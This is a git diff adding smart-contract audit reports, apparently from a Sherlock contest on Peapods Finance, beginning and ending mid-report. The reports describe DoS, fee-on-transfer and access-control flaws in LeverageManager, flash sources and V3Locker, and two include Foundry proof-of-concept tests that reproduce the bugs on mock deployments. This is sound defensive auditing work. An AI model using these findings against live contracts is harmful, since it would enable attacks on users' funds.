+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
+
+ vm.prank(timelock);
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ }
+
+ function _deployLeverageManager() internal {
+ _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
+ _leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
+ }
+
+ function _deployFlashSources() internal {
+ _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
+ _leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
+ }
+
+ function testPoc() public { //transfer tax is enabled (see line 329)
+ //For this proof of concept, a buy fee of 2% and a burn fee of 50% are set to clearly demonstrate the impact
+ UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
+
+ vm.startPrank(alice);
+ console.log("uniV2 pool _pod1Peas: ", _pod1Peas.balanceOf(address(_v2Pool)));
+ console.log("_pod1Peas balance: ", _pod1Peas.balanceOf(address(_pod1Peas)));
+ console.log("alice _pod1Peas balance: ", _pod1Peas.balanceOf(alice));
+ console.log("total supply before : ", _pod1Peas.totalSupply()); //This shows that the entire `totalSupply` is currently in the UniV2 pool
+ address[] memory path = new address[](2);
+ path[0] = address(_mockDai);
+ path[1] = address(_pod1Peas);
+ _mockDai.approve(address(_v2SwapRouter), 1000e18);
+ _v2SwapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ 1000e18,
+ 0,
+ path,
+ alice,
+ block.timestamp
+ );
+ console.log("\n uniV2 pool _pod1Peas: ", _pod1Peas.balanceOf(address(_v2Pool)));
+ console.log("_pod1Peas balance: ", _pod1Peas.balanceOf(address(_pod1Peas)));
+ console.log("alice _pod1Peas balance: ", _pod1Peas.balanceOf(alice)); //If you sum the balances of these three addresses and subtract the totalSupply, you can see that it is smaller than it should be
+ console.log("totalSupply after: ", _pod1Peas.totalSupply());
+ vm.stopPrank();
+ }
+}
+```
+3. The POC can then be started with `forge test --mt testPoc -vv --fork-url `
\ No newline at end of file
diff --git a/292.md b/292.md
new file mode 100644
index 0000000..db9ff49
--- /dev/null
+++ b/292.md
@@ -0,0 +1,22 @@
+Smooth Foggy Squid
+
+High
+
+# DoS in `LeverageManager::addLeverageFromTkn` when target Pod has multiple index tokens
+
+## Root Cause
+
+There is no logic in place to handle multiple pod index tokens when calling `LeverageManager::addLeverageFromTkn`.
+
+## Vulnerability Details
+
+The `addLeverageFromTkn` function adds leverage to an existing position (or creates a new one and adds leverage) using the underlying pod’s TKN. Initially, it calls `_bondToPod` to bond the TKN to pTKN on behalf of the user.
+[Here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L571-L573) we can see that only the first index token is transferred from the user to the LeverageManager contract. However, if there are multiple `_podAssets`, the [following bond operation](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L576) will revert because the LeverageManager does not receive the corresponding token’s value from the user.
+
+## Impact
+
+DoS in LeverageManager::addLeverageFromTkn when target Pod has multiple index tokens
+
+## Recommended mitigation
+
+When there are multiple `_podAssets`, in the `_bondToPod` function we need to use [`WeightedIndex::getInitialAmount`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L204) to transfer the correct amount of token value from user to LeverageManager contract.
\ No newline at end of file
diff --git a/293.md b/293.md
new file mode 100644
index 0000000..d6cc605
--- /dev/null
+++ b/293.md
@@ -0,0 +1,20 @@
+Smooth Foggy Squid
+
+Medium
+
+# When LeverageManager uses PodFlashSource as the flash loan source, DoS will always occur for the functionality of addLeverage and removeLeverage.
+
+## Vulnerability Details
+
+For the removeLeverage and addLeverage functionalities, we need to use a flash loan. see
+[here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L189) and [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L302). This `flash` function will ultimately `call back` the LeverageManager to finalize the post-effects, depending on whether we are adding leverage or removing leverage.
+
+When we set the flash loan source to PodFlashSource, the lock modifier in the flash function will set the unlocked flag to 0. Then, within the same transaction, when we call `_addLeveragePostCallback` or `_removeLeveragePostCallback`, all subsequent logic, including `bond/debond/addLpAndStake/unstakeAndRemoveLp`, will experience a denial of service (DoS) because the `lock` modifier has been applied, which requires unlocked != 0.
+
+## Impact
+
+DoS in addLeverage&removeLeverage with PodVault as flash source.
+
+## Recommended mitigation
+
+Consider that if the `_recipient` for `DecentralizedIndex::flash` is `PodFlashSource`, then a different logic will be applied to execute addLeverage/removeLeverage.
\ No newline at end of file
diff --git a/294.md b/294.md
new file mode 100644
index 0000000..f0f502b
--- /dev/null
+++ b/294.md
@@ -0,0 +1,588 @@
+Witty Chartreuse Starling
+
+Medium
+
+# Swapping in _acquireBorrowTokenForRepayment is not working when the sell fee is enabled because the swap does not support fee-on-transfer tokens
+
+### Summary
+
+`_acquireBorrowTokenForRepayment` in the `LeverageManager` uses a swap to acquire enough tokens to repay the flash loan when leverage is removed. However, this swap does not work when a pod sell fee is enabled because fee-on-transfer tokens are not supported in this swap. This can lead to users being unable to remove their leverage.
+
+### Root Cause
+
+The swap in `_acquireBorrowTokenForRepayment` uses `_swapPodForBorrowToken` to swap pod tokens into paired LP tokens in order to acquire enough tokens for repaying the flash loan:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L462-L467
+For the swap, `swapV2SingleExactOut` is used on the DEX adapter, which in turn does not support fee-on-transfer tokens:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L101-L103
+Uniswap provides special fee-on-transfer functions, which are used elsewhere in the protocol, but are not utilized in this swap. This means that this swap would always fail if a pod has sell fees enabled
+
+It is important to note that there is another issue in the function that blocks the ability to transfer tokens from the user. As a result, both options for acquiring borrow tokens for the repayment are no longer possible. (see issue "Transferring of _userProvidedDebtAmtMax does not work in _acquireBorrowTokenForRepayment because _props.sender is never set, which leads to a transferFrom call from address(0), causing the transaction to revert")
+
+### Internal Pre-conditions
+
+1. The sell fee must not be 0
+
+### External Pre-conditions
+
+No external pre-conditions
+
+### Attack Path
+
+1. There is a pod with PEAS as the underlying token that has a sell fee
+2. Alice bonds PEAS tokens in a pod
+3. Alice adds leverage with the `LeverageManager`
+4. Alice removes leverage, but there are not enough tokens for the repayment. As a result, an attempt is made to swap some of the pTKNs, but it fails due to the sell fee.
+
+### Impact
+
+This issue would render a function of the protocol unusable, making it harder for some users to remove their leverage. Additionally, this issue is exacerbated by the one mentioned above, as the alternative method to acquire the tokens also fails, leading to some users potentially being unable to remove their leverage.
+
+### PoC
+
+1. To execute the POC, a `POC.t.sol` file should be created in `contracts/test/POC.t.sol`.
+2. The following code should be inserted into the file:
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.28;
+
+import {console} from "forge-std/console.sol";
+
+// forge
+import {Test} from "forge-std/Test.sol";
+
+// PEAS
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
+import {IndexUtils} from "../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+// oracles
+import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
+import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
+import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
+import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
+import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
+
+// protocol fees
+import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
+import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
+
+// autocompounding
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+
+// lvf
+import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
+import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
+import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
+
+// flash
+import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
+import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
+import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
+import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
+
+// uniswap-v2-core
+import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
+import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
+
+// uniswap-v2-periphery
+import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
+
+// uniswap-v3-core
+import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
+import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
+
+// uniswap-v3-periphery
+import {SwapRouter02} from "swap-router/SwapRouter02.sol";
+import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
+import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
+import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
+
+// mocks
+import {WETH9} from "./invariant/mocks/WETH.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "./invariant/mocks/MockERC20.sol";
+import {TestERC20} from "./invariant/mocks/TestERC20.sol";
+import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
+import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
+import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
+import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
+
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+
+contract AuditTests is PodHelperTest {
+ address alice = vm.addr(uint256(keccak256("alice")));
+ address bob = vm.addr(uint256(keccak256("bob")));
+ address charlie = vm.addr(uint256(keccak256("charlie")));
+
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ uint256 donatedAmount;
+ uint256 lavDeposits;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ PEAS internal _peas;
+ MockV3TwapUtilities internal _twapUtils;
+ UniswapDexAdapter internal _dexAdapter;
+ LendingAssetVault internal _lendingAssetVault;
+ LendingAssetVault internal _lendingAssetVault2;
+ RewardsWhitelist internal _rewardsWhitelist;
+
+ // oracles
+ V2ReservesUniswap internal _v2Res;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ UniswapV3SinglePriceOracle internal _uniOracle;
+ DIAOracleV2SinglePriceOracle internal _diaOracle;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;
+
+ // protocol fees
+ ProtocolFees internal _protocolFees;
+ ProtocolFeeRouter internal _protocolFeeRouter;
+
+ // pods
+ WeightedIndex internal _pod1Peas;
+
+ // index utils
+ IndexUtils internal _indexUtils;
+
+ // autocompounding
+ AutoCompoundingPodLpFactory internal _aspTKNFactory;
+ AutoCompoundingPodLp internal _aspTKN1Peas;
+ address internal _aspTKN1PeasAddress;
+
+ // lvf
+ LeverageManager internal _leverageManager;
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ // flash
+ UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
+
+ // mocks
+ MockUniV3Minter internal _uniV3Minter;
+ MockERC20 internal _mockDai;
+ WETH9 internal _weth;
+ MockERC20 internal _tokenA;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+
+ // uniswap-v2-core
+ UniswapV2Factory internal _uniV2Factory;
+ UniswapV2Pair internal _uniV2Pool;
+
+ // uniswap-v2-periphery
+ UniswapV2Router02 internal _v2SwapRouter;
+
+ // uniswap-v3-core
+ UniswapV3Factory internal _uniV3Factory;
+ UniswapV3Pool internal _v3peasDaiPool;
+ UniswapV3Pool internal _v3peasDaiFlash;
+
+ // uniswap-v3-periphery
+ SwapRouter02 internal _v3SwapRouter;
+
+ function setUp() public override {
+ super.setUp();
+
+ _deployUniV3Minter();
+ _deployWETH();
+ _deployTokens();
+ _deployPEAS();
+ _deployUniV2();
+ _deployUniV3();
+ _deployProtocolFees();
+ _deployRewardsWhitelist();
+ _deployTwapUtils();
+ _deployDexAdapter();
+ _deployIndexUtils();
+ _deployWeightedIndexes();
+ _deployAutoCompoundingPodLpFactory();
+ _getAutoCompoundingPodLpAddresses();
+ _deployAspTKNOracles();
+ _deployAspTKNs();
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _deployLendingAssetVault();
+ _deployLeverageManager();
+ _deployFlashSources();
+
+ _mockDai.mint(alice, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ _peas.transfer(alice, 100_000 ether);
+ _peas.transfer(bob, 100_000 ether);
+ _peas.transfer(charlie, 100_000 ether);
+ }
+
+ function _deployUniV3Minter() internal {
+ _uniV3Minter = new MockUniV3Minter();
+ }
+
+ function _deployWETH() internal {
+ _weth = new WETH9();
+
+ vm.deal(address(this), 1_000_000 ether);
+ _weth.deposit{value: 1_000_000 ether}();
+
+ vm.deal(address(_uniV3Minter), 2_000_000 ether);
+ vm.prank(address(_uniV3Minter));
+ _weth.deposit{value: 2_000_000 ether}();
+ }
+
+ function _deployTokens() internal {
+ _mockDai = new MockERC20();
+ _tokenA = new MockERC20();
+ _tokenB = new MockERC20();
+ _tokenC = new MockERC20();
+
+ _mockDai.initialize("MockDAI", "mDAI", 18);
+ _tokenA.initialize("TokenA", "TA", 18);
+ _tokenB.initialize("TokenB", "TB", 18);
+ _tokenC.initialize("TokenC", "TC", 18);
+
+ _tokenA.mint(address(this), 1_000_000 ether);
+ _tokenB.mint(address(this), 1_000_000 ether);
+ _tokenC.mint(address(this), 1_000_000 ether);
+ _mockDai.mint(address(this), 1_000_000 ether);
+
+ _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
+ _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
+
+ _tokenA.mint(alice, 1_000_000 ether);
+ _tokenB.mint(alice, 1_000_000 ether);
+ _tokenC.mint(alice, 1_000_000 ether);
+ _mockDai.mint(alice, 1_000_000 ether);
+
+ _tokenA.mint(bob, 1_000_000 ether);
+ _tokenB.mint(bob, 1_000_000 ether);
+ _tokenC.mint(bob, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+
+ _tokenA.mint(charlie, 1_000_000 ether);
+ _tokenB.mint(charlie, 1_000_000 ether);
+ _tokenC.mint(charlie, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ }
+
+ function _deployPEAS() internal {
+ _peas = new PEAS("Peapods", "PEAS");
+ _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
+ }
+
+ function _deployUniV2() internal {
+ _uniV2Factory = new UniswapV2Factory(address(this));
+ _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
+ }
+
+ function _deployUniV3() internal {
+ _uniV3Factory = new UniswapV3Factory();
+ _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
+ _v3peasDaiPool.initialize(1 << 96);
+ _v3peasDaiPool.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
+
+ _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
+ _v3peasDaiFlash.initialize(1 << 96);
+ _v3peasDaiFlash.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
+
+ _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
+ }
+
+ function _deployProtocolFees() internal {
+ _protocolFees = new ProtocolFees();
+ _protocolFees.setYieldAdmin(500);
+ _protocolFees.setYieldBurn(500);
+
+ _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
+ bytes memory code = address(_protocolFeeRouter).code;
+ vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
+ _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
+
+ vm.prank(_protocolFeeRouter.owner());
+ _protocolFeeRouter.transferOwnership(address(this));
+ _protocolFeeRouter.setProtocolFees(_protocolFees);
+ }
+
+ function _deployRewardsWhitelist() internal {
+ _rewardsWhitelist = new RewardsWhitelist();
+ bytes memory code = address(_rewardsWhitelist).code;
+ vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
+ _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
+
+ vm.prank(_rewardsWhitelist.owner());
+ _rewardsWhitelist.transferOwnership(address(this));
+ _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
+ }
+
+ function _deployTwapUtils() internal {
+ _twapUtils = new MockV3TwapUtilities();
+ bytes memory code = address(_twapUtils).code;
+ vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
+ _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
+ }
+
+ function _deployDexAdapter() internal {
+ _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
+ }
+
+ function _deployIndexUtils() internal {
+ _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
+ }
+
+ function _deployWeightedIndexes() internal {
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 300;
+ _f.debond = 300;
+ _f.burn = 5000;
+ _f.buy = 200;
+ _f.sell = 200;
+
+ // POD1 (Peas)
+ address[] memory _t1 = new address[](1);
+ _t1[0] = address(_peas);
+ uint256[] memory _w1 = new uint256[](1);
+ _w1[0] = 100;
+ address __pod1Peas = _createPod(
+ "Peas Pod",
+ "pPeas",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ false,
+ abi.encode(
+ address(_mockDai),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod1Peas = WeightedIndex(payable(__pod1Peas));
+
+ _peas.approve(address(_pod1Peas), 10000 ether);
+ _mockDai.approve(address(_pod1Peas), 10000 ether);
+ _pod1Peas.bond(address(_peas), 10000 ether, 1 ether);
+ _pod1Peas.addLiquidityV2(10000 ether, 10000 ether, 100, block.timestamp);
+ }
+
+ function _deployAutoCompoundingPodLpFactory() internal {
+ _aspTKNFactory = new AutoCompoundingPodLpFactory();
+ }
+
+ function _getAutoCompoundingPodLpAddresses() internal {
+ _aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
+ "Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
+ );
+ }
+
+ function _deployAspTKNOracles() internal {
+ _v2Res = new V2ReservesUniswap();
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+ _uniOracle = new UniswapV3SinglePriceOracle(address(0));
+ _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
+
+ _aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
+ address(_aspTKN1PeasAddress),
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ address(_mockDai),
+ false,
+ false,
+ _pod1Peas.lpStakingPool(),
+ address(_v3peasDaiPool)
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
+ );
+ }
+
+ function _deployAspTKNs() internal {
+ //POD 1
+ address _lpPeas = _pod1Peas.lpStakingPool();
+ address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();
+
+ IERC20(_stakingPeas).approve(_lpPeas, 1000);
+ StakingPoolToken(_lpPeas).stake(address(this), 1000);
+ IERC20(_lpPeas).approve(address(_aspTKNFactory), 1000);
+
+ _aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
+ _aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);
+ }
+
+ function _deployVariableInterestRate() internal {
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ }
+
+ function _deployFraxPairs() internal {
+ vm.warp(block.timestamp + 1 days);
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ _pod1Peas.PAIRED_LP_TOKEN(), // asset
+ _aspTKN1PeasAddress, // collateral
+ address(_aspTKNMinOracle1Peas), //oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+ }
+
+ function _deployLendingAssetVault() internal {
+ _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
+ IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
+ vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
+ vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _allocations = new uint256[](1);
+ _allocations[0] = 100_000e18;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
+
+ vm.prank(timelock);
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ }
+
+ function _deployLeverageManager() internal {
+ _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
+ _leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
+ }
+
+ function _deployFlashSources() internal {
+ _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
+ _leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
+ }
+
+ function testPoc() public { //sell fee is set in line 334
+ vm.startPrank(bob);
+ console.log("\n====== Bob deposits 5000 _mockDai in fraxlend ======");
+ _mockDai.approve(address(_fraxLPToken1Peas), 5000e18);
+ _fraxLPToken1Peas.deposit(5000e18, bob);
+ vm.stopPrank();
+
+ vm.startPrank(alice);
+ console.log("\n====== Alice bonds 5000 Peas ======");
+ _peas.approve(address(_pod1Peas), 5000e18);
+ _pod1Peas.bond(address(_peas), 5000e18, 0);
+
+ console.log("\n====== Alice adds leverage ======");
+ _pod1Peas.approve(address(_leverageManager), 4850e18);
+ _leverageManager.addLeverage(
+ 0,
+ address(_pod1Peas),
+ 4850e18,
+ 4850e18,
+ 0,
+ false,
+ abi.encode(0, 1000, block.timestamp)
+ );
+
+ console.log("\n====== Alice removes leverage ======");
+ _leverageManager.removeLeverage( //This will be reverted with the UniswapV2: K error because fee-on-transfer is not supported
+ 1,
+ 4852425000000000000000,
+ _aspTKN1Peas.balanceOf(address(_fraxLPToken1Peas)),
+ 0,
+ 0,
+ 0,
+ 0
+ );
+ vm.stopPrank();
+ }
+}
+```
+3. The POC can then be started with `forge test --mt testPoc -vv --fork-url `
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/295.md b/295.md
new file mode 100644
index 0000000..4be402c
--- /dev/null
+++ b/295.md
@@ -0,0 +1,44 @@
+Acrobatic Violet Poodle
+
+Medium
+
+# repayment amount is supposed to be sent back to DecentralisedIndex.sol and not flash source (reverts)
+
+### Summary
+
+`LeverageManager._removeLeveragePostCallback()` erroneously sends back _repayAmount to Flash Source instead of DecentralisedIndex.sol, this will cause reverts.
+
+### Root Cause
+
+LeverageManager.removeLeverage() uses flash source contracts to get flashloans to remove leverage.
+
+There's an issue in the logic of its callback function when repaying the borrowed amount. The borrowed amount is erroneously sent to flash source in `_removeLeveragePostCallback()` instead of DecentralisedIndex.sol https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L399
+
+This will cause reverts here in DecentralisedIndex.sol- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L416
+
+Also most flash source don't have methods to remove or send the received funds from the leverage Manager to DecentralisedIndex.sol
+
+### Internal Pre-conditions
+
+1. repay funds is sent to flash source instead of DecentralisedIndex.sol
+2. flash source doesn't send the received funds back to DecentralisedIndex.sol
+
+### External Pre-conditions
+
+not needed.
+
+### Attack Path
+
+Natural occurring bug.
+
+### Impact
+
+LeverageManager.removeLeverage() will likely always revert due to reverts in DecentralisedIndex.sol caused by not repaying borrowed amount.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+return the repay amount to DecentralisedIndex.sol
\ No newline at end of file
diff --git a/296.md b/296.md
new file mode 100644
index 0000000..cc3ddc4
--- /dev/null
+++ b/296.md
@@ -0,0 +1,57 @@
+Old Pecan Chameleon
+
+Medium
+
+# Any user can force premature fee collection from V3 positions in https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/V3Locker.sol#L22-L31
+
+### Summary
+
+Missing access control on the collect() function in https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/V3Locker.sol#L22-L31 will cause a griefing risk for the owner as any user can trigger fee collection at suboptimal times.
+
+### Root Cause
+
+In V3Locker.sol:20 the collect() function lacks access control allowing any address to call it.
+
+
+### Internal Pre-conditions
+
+V3 position must have collected fees
+Position must be owned by V3Locker contract
+
+### External Pre-conditions
+
+Uniswap V3 pool position must have accumulated fees (swap activity in pool)
+Uniswap V3 NonFungiblePositionManager must be operational (not paused or frozen)
+
+### Attack Path
+
